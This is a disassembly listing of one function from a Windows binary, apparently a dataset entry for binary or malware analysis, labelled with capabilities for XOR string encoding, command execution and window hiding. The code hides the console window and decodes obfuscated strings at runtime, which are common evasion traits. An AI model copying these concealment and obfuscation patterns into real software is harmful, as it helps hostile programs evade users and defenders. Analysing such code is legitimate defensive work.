Function at 0x140122cb0
Capabilities:
Encode data using xor
Execute command
Hide graphical window

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x4e0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rsp + 0x480], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov r14, rax
mov qword [rsp + 0x118], rax
cmp byte [0x141673ebb], 0
je 0x140123747
movups xmm0, xmmword [0x1401d76e0]
movups xmmword [rsp + 0x388], xmm0
movups xmm1, xmmword [0x1401d76f0]
movups xmmword [rsp + 0x398], xmm1
movups xmm0, xmmword [0x1401d7700]
movups xmmword [rsp + 0x3a8], xmm0
movzx eax, word [0x1401d7710]
mov word [rsp + 0x3b8], ax
movzx eax, byte [0x1401d7712]
mov byte [rsp + 0x3ba], al
xor edi, edi
mov r8d, edi
mov esi, dword [reloc.WS2_32.dll_accept]
movdqa xmm7, xmmword [0x1401d7e10]
movdqa xmm6, xmmword [0x1401d82d0]
movdqa xmm8, xmmword [0x1401d7e70]
movdqa xmm10, xmmword [0x1401d7fd0]
movdqa xmm9, xmmword [0x1401d7f20]
cmp esi, 2
jl 0x140122eab
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x38c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140122dc0
cmp r8d, 0x33
jge 0x140122ef2
movsxd rax, r8d
lea r9, [rsp + 0x388]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x140122ec0
xorps xmm0, xmm0
movups xmmword [rsp + 0x298], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x2a8], xmm1
lea rax, [rsp + 0x388]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140122f20
lea rdx, [rsp + 0x388]
lea rcx, [rsp + 0x298]
call fcn.1400256b0
nop
mov rdx, qword [0x1416740c8]
cmp rdx, qword [0x1416740d0]
je 0x140122f89
movups xmm0, xmmword [rsp + 0x298]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x2a8]
movups xmmword [rdx + 0x10], xmm1
movdqa xmm0, xmmword [0x1401d7db0]
movdqu xmmword [rsp + 0x2a8], xmm0
mov byte [rsp + 0x298], 0
add qword [0x1416740c8], 0x20
jmp 0x140122f97
lea r8, [rsp + 0x298]
call fcn.140125eb0
nop
lea rcx, [rsp + 0x298]
call fcn.1400252b0
lea rcx, [rsp + 0x440]
call fcn.1401179e0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x280], xmm0
mov qword [rsp + 0x290], rax
lea rcx, [rsp + 0x280]
call fcn.14011f7e0
nop
movsd xmm0, qword [str.qSQYLVO]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [str.NJM___C]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401d6c84]
mov word [rsp + 0x6c], ax
movzx eax, byte [0x1401d6c86]
mov byte [rsp + 0x6e], al
mov r8d, edi
cmp esi, 2
jl 0x1401230e3
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.qSQYLVO]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm2, xmmword [0x1401d7e30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1401230f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x388], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x398], xmm1
lea rax, [rsp + 0x60]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140123141
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x388]
call fcn.1400256b0
nop
call fcn.1401259f0
lea rdx, [0x1416707d0]
lea rcx, [rsp + 0x3e0]
call fcn.140025020
nop
lea rcx, [rsp + 0x3c0]
call fcn.140120fc0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2d8], xmm0
mov qword [rsp + 0x2e8], rax
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x2d8]
call fcn.1400d8b60
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], rax
lea rdx, [rsp + 0x3e0]
lea rcx, [rsp + 0x310]
call fcn.1400d8b60
nop
xor edx, edx
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rsp + 0x420]
call fcn.14011e530
nop
lea rcx, [rsp + 0x260]
call fcn.14011caf0
nop
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x368]
call fcn.14011f690
nop
lea rdx, [rsp + 0x388]
lea rcx, [rsp + 0x2b8]
call fcn.140025020
nop
lea rcx, [rsp + 0x298]
call fcn.14011e8b0
nop
mov rdx, rax
lea rcx, [rsp + 0x348]
call fcn.14011f690
nop
lea rcx, [rsp + 0x298]
call fcn.1400b83d0
lea rdx, [rsp + 0x388]
lea rcx, [rsp + 0x2f0]
call fcn.140025020
nop
lea rcx, [rsp + 0x298]
call fcn.14011ec40
nop
mov rdx, rax
lea rcx, [rsp + 0x328]
call fcn.14011f690
nop
lea rcx, [rsp + 0x298]
call fcn.1400b83d0
movups xmm0, xmmword [str.v_fkJJW___n3_.D]
movups xmmword [rsp + 0x38], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140123402
cmp esi, 2
jl 0x1401233c5
mov edx, edi
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x3c]
mov r8d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1401232e0
jmp 0x140123402
lea r9, [rsp + 0x38]
mov r8d, edi
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1401233d0
movups xmm0, xmmword [0x1401d1de8]
movups xmmword [rsp + 0x80], xmm0
mov eax, dword [0x1401d1df8]
mov dword [rsp + 0x90], eax
movzx eax, byte [0x1401d1dfc]
mov byte [rsp + 0x94], al
mov r8d, edi
cmp esi, 2
jl 0x14012353b
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x84]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140123450
cmp r8d, 0x15
jge 0x140123582
movsxd rax, r8d
lea r9, [rsp + 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140123550
mov byte [reloc.WS2_32.dll_accept], 0
mov r15, qword [rsp + 0x280]
cmp r15, qword [rsp + 0x288]
jne 0x140123792
lea rcx, [rsp + 0x328]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x2f0]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x348]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x2b8]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x368]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x260]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x420]
call fcn.1400b83d0
nop
mov rcx, qword [rsp + 0x310]
test rcx, rcx
je 0x140123657
mov rdx, qword [rsp + 0x320]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14012363e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401258ed
call fcn.14017546c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], rdi
mov rcx, qword [rsp + 0x2d8]
test rcx, rcx
je 0x1401236ad
mov rdx, qword [rsp + 0x2e8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140123694
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140125946
call fcn.14017546c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x2d8], xmm0
mov qword [rsp + 0x2e8], rdi
lea rcx, [rsp + 0x3c0]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x3e0]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x388]
call fcn.1400252b0
nop
mov rcx, qword [rsp + 0x280]
test rcx, rcx
je 0x14012372d
mov rdx, qword [rsp + 0x290]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140123714
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401259d5
call fcn.14017546c
xorps xmm0, xmm0
mov qword [rsp + 0x290], rdi
movdqu xmmword [rsp + 0x280], xmm0
lea rcx, [rsp + 0x460]
call fcn.1400252b0
lea rcx, [rsp + 0x440]
call fcn.1400252b0
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140175100
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov r13d, edi
mov rbx, rdi
mov r14, qword [rsp + 0x2e0]
mov rsi, qword [rsp + 0x2d8]
mov rdi, qword [rsp + 0x288]
lea r12, [rbx + r15]
mov r8, r14
sub r8, rsi
mov rdx, r12
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140123813
mov r8, qword [rsp + 0x318]
mov rdx, qword [rsp + 0x310]
sub r8, rdx
mov rcx, r12
call sub.VCRUNTIME140.dll_memmove
inc r13d
mov r14, qword [rsp + 0x2e0]
mov rax, r14
mov rsi, qword [rsp + 0x2d8]
sub rax, rsi
dec rax
add rbx, rax
mov r15, qword [rsp + 0x280]
mov rdi, qword [rsp + 0x288]
mov dword [rsp + 0x108], r13d
inc rbx
mov rax, rdi
sub rax, r14
sub rax, r15
add rax, rsi
cmp rbx, rax
jbe 0x1401237b0
mov dword [rsp + 0x30], r13d
xor edx, edx
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rsp + 0x240], xmm0
mov r15, qword [rsp + 0x280]
mov r14, qword [rsp + 0x288]
cmp r15, r14
mov edi, 0
mov qword [rsp + 0x250], rdi
mov esi, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x258], rsi
jne 0x14012388b
mov byte [rsp + 0x240], dil
jmp 0x140123987
sub r14, r15
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x1401259dc
cmp r14, rsi
jbe 0x140123955
mov rsi, r14
or rsi, 0xf
cmp rsi, rax
jbe 0x1401238f5
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140175120
mov rcx, rax
test rax, rax
je 0x140123937
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x258], rsi
jmp 0x14012395d
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x14012391f
mov rax, rdi
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x258], rsi
jmp 0x14012395d
cmp rcx, 0x1000
jb 0x14012393e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1401259e2
jmp 0x1401238c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140175120
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x258], rsi
jmp 0x14012395d
mov rax, qword [rsp + 0x240]
lea rbx, [rsp + 0x240]
cmp rsi, 0xf
cmova rbx, rax
mov r8, r14
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0x250], r14
mov byte [rbx + r14], dil
mov r15, qword [rsp + 0x378]
mov rbx, qword [rsp + 0x270]
cmp rbx, r15
jbe 0x1401239b6
mov rdx, r15
lea rcx, [rsp + 0x260]
call fcn.140081ce0
mov rbx, qword [rsp + 0x270]
jmp 0x140123a13
jae 0x140123a13
nop dword [rax + rax]
mov rcx, qword [rsp + 0x278]
cmp rbx, rcx
jae 0x1401239f6
lea rax, [rbx + 1]
mov qword [rsp + 0x270], rax
lea rax, [rsp + 0x260]
cmp rcx, 0xf
cmova rax, qword [rsp + 0x260]
mov word [rax + rbx], reloc.WLDAP32.dll_Ordinal_32
jmp 0x140123a06
mov r9b, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x260]
call fcn.1400257f0
mov rbx, qword [rsp + 0x270]
cmp rbx, r15
jb 0x1401239c0
mov rsi, qword [rsp + 0x358]
mov rcx, qword [rsp + 0x2c8]
cmp rcx, rsi
jbe 0x140123a3a
mov rdx, rsi
lea rcx, [rsp + 0x2b8]
call fcn.140081ce0
jmp 0x140123a93
jae 0x140123a9b
nop dword [rax]
mov rdx, qword [rsp + 0x2d0]
cmp rcx, rdx
jae 0x140123a76
lea rax, [rcx + 1]
mov qword [rsp + 0x2c8], rax
lea rax, [rsp + 0x2b8]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x2b8]
mov word [rax + rcx], reloc.WLDAP32.dll_Ordinal_32
jmp 0x140123a86
mov r9b, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2b8]
call fcn.1400257f0
mov rcx, qword [rsp + 0x2c8]
cmp rcx, rsi
jb 0x140123a40
mov rbx, qword [rsp + 0x270]
mov rsi, qword [rsp + 0x338]
mov rcx, qword [rsp + 0x300]
cmp rcx, rsi
jbe 0x140123ac2
mov rdx, rsi
lea rcx, [rsp + 0x2f0]
call fcn.140081ce0
jmp 0x140123b23
jae 0x140123b2b
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rsp + 0x308]
cmp rcx, rdx
jae 0x140123b06
lea rax, [rcx + 1]
mov qword [rsp + 0x300], rax
lea rax, [rsp + 0x2f0]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x2f0]
mov word [rax + rcx], reloc.WLDAP32.dll_Ordinal_32
jmp 0x140123b16
mov r9b, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2f0]
call fcn.1400257f0
mov rcx, qword [rsp + 0x300]
cmp rcx, rsi
jb 0x140123ad0
mov rbx, qword [rsp + 0x270]
mov r12d, edi
mov rsi, rdi
nop dword [rax]
nop word [rax + rax]
mov dword [rsp + 0x10c], r12d
lea r9, [rsp + 0x368]
cmp qword [rsp + 0x380], 0xf
cmova r9, qword [rsp + 0x368]
lea rcx, [rsp + 0x240]
mov r14, qword [rsp + 0x240]
cmp qword [rsp + 0x258], 0xf
cmova rcx, r14
mov r15, qword [rsp + 0x378]
mov qword [rsp + 0x20], r15
mov r8, rsi
mov rdx, qword [rsp + 0x250]
call fcn.140082380
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140123bea
lea r9, [rsp + 0x260]
cmp qword [rsp + 0x278], 0xf
cmova r9, qword [rsp + 0x260]
mov qword [rsp + 0x20], rbx
mov r8, r15
mov rdx, rax
lea rcx, [rsp + 0x240]
call fcn.1400bbac0
inc r12d
mov rbx, qword [rsp + 0x270]
add rsi, rbx
jmp 0x140123b40
mov dword [rsp + 0x100], r12d
mov esi, edi
mov rbx, rdi
mov r15, qword [rsp + 0x2c8]
nop
mov dword [rsp + 0x110], esi
lea r9, [rsp + 0x348]
cmp qword [rsp + 0x360], 0xf
cmova r9, qword [rsp + 0x348]
lea rcx, [rsp + 0x240]
cmp qword [rsp + 0x258], 0xf
cmova rcx, r14
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov rdx, qword [rsp + 0x250]
call fcn.140082380
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140123cad
lea r9, [rsp + 0x2b8]
cmp qword [rsp + 0x2d0], 0xf
cmova r9, qword [rsp + 0x2b8]
mov qword [rsp + 0x20], r15
mov r8, qword [rsp + 0x358]
mov rdx, rax
lea rcx, [rsp + 0x240]
call fcn.1400bbac0
inc esi
mov r15, qword [rsp + 0x2c8]
add rbx, r15
mov r14, qword [rsp + 0x240]
jmp 0x140123c00
mov dword [rsp + 0x104], esi
mov rbx, rdi
mov r15, qword [rsp + 0x300]
nop
mov dword [rsp + 0x114], edi
lea r9, [rsp + 0x328]
cmp qword [rsp + 0x340], 0xf
cmova r9, qword [rsp + 0x328]
lea rcx, [rsp + 0x240]
cmp qword [rsp + 0x258], 0xf
cmova rcx, r14
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov rdx, qword [rsp + 0x250]
call fcn.140082380
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140123d6d
lea r9, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 0xf
cmova r9, qword [rsp + 0x2f0]
mov qword [rsp + 0x20], r15
mov r8, qword [rsp + 0x338]
mov rdx, rax
lea rcx, [rsp + 0x240]
call fcn.1400bbac0
inc edi
mov r15, qword [rsp + 0x300]
add rbx, r15
mov r14, qword [rsp + 0x240]
jmp 0x140123cc0
mov dword [rsp + 0xa0], edi
xorps xmm0, xmm0
lea r15, [rsp + 0x240]
cmp qword [rsp + 0x258], 0xf
cmova r15, r14
add r15, qword [rsp + 0x250]
lea rbx, [rsp + 0x240]
cmp qword [rsp + 0x258], 0xf
cmova rbx, r14
movdqu xmmword [rsp + 0x298], xmm0
xor edi, edi
mov qword [rsp + 0x2a8], rdi
sub r15, rbx
je 0x140123df3
mov rdx, r15
lea rcx, [rsp + 0x298]
call fcn.1400834c0
mov r8, r15
mov rdx, rbx
mov rbx, qword [rsp + 0x298]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + r15]
mov qword [rsp + 0x2a0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x38]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140123e13
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.1400256b0
nop
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x60]
call fcn.14011f340
nop
lea rcx, [rsp + 0x60]
call fcn.1400252b0
nop
jmp 0x140123e95
mov r14d, dword [reloc.WS2_32.dll_accept]
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x130]
call fcn.140176388
mov r8d, 8
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x130]
call fcn.1400b7c50
nop
mov rax, qword [rsp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x130]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14012552c
movsd xmm0, qword [str.gSGTXYX]
movsd qword [rsp + 0x38], xmm0
movzx eax, word [0x1401d70c8]
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x130]
cmp byte [0x1401d70c9], 0
je 0x140123f71
mov byte [rsp + 0x38], 0x52
xor byte [rsp + 0x39], 0x36
xor byte [rsp + 0x3a], 0x37
xor byte [rsp + 0x3b], 0x38
xor byte [rsp + 0x3c], 0x39
xor byte [rsp + 0x3d], 0x3a
xor byte [rsp + 0x3e], 0x3b
xor byte [rsp + 0x3f], 0x3c
xor byte [rsp + 0x40], 0x3d
xor byte [rsp + 0x41], 0x3e
call fcn.140025470
mov rcx, rax
mov edx, dword [rsp + 0x108]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov r8, rax
mov r9, rax
jmp 0x140123f88
call fcn.140025470
mov edx, r13d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov r8, rax
mov r9, rax
movups xmm0, xmmword [0x1401d6fe8]
movups xmmword [rsp + 0xb0], xmm0
movzx eax, word [0x1401d7020]
movups xmm0, xmmword [0x1401d7008]
mov word [rsp + 0xe8], ax
movups xmmword [rsp + 0xd0], xmm0
movzx eax, byte [0x1401d7022]
movsd xmm0, qword [0x1401d7018]
movups xmm1, xmmword [0x1401d6ff8]
mov byte [rsp + 0xea], al
movsd qword [rsp + 0xe0], xmm0
movups xmmword [rsp + 0xc0], xmm1
mov ecx, edi
cmp r14d, 2
jl 0x1401240f0
movdqa xmmword [rsp + 0x60], xmm10
lea rdx, [rsp + 0xb4]
mov r10d, dword [rsp + 0x60]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x38
jl 0x140124003
cmp ecx, 0x3b
jl 0x1401240f0
mov rcx, r8
jmp 0x140124131
movsxd rax, ecx
lea r8, [rsp + 0xb0]
add r8, rax
nop
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x35
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x3b
jl 0x140124100
mov rcx, r9
lea rdx, [rsp + 0xb0]
call fcn.140025470
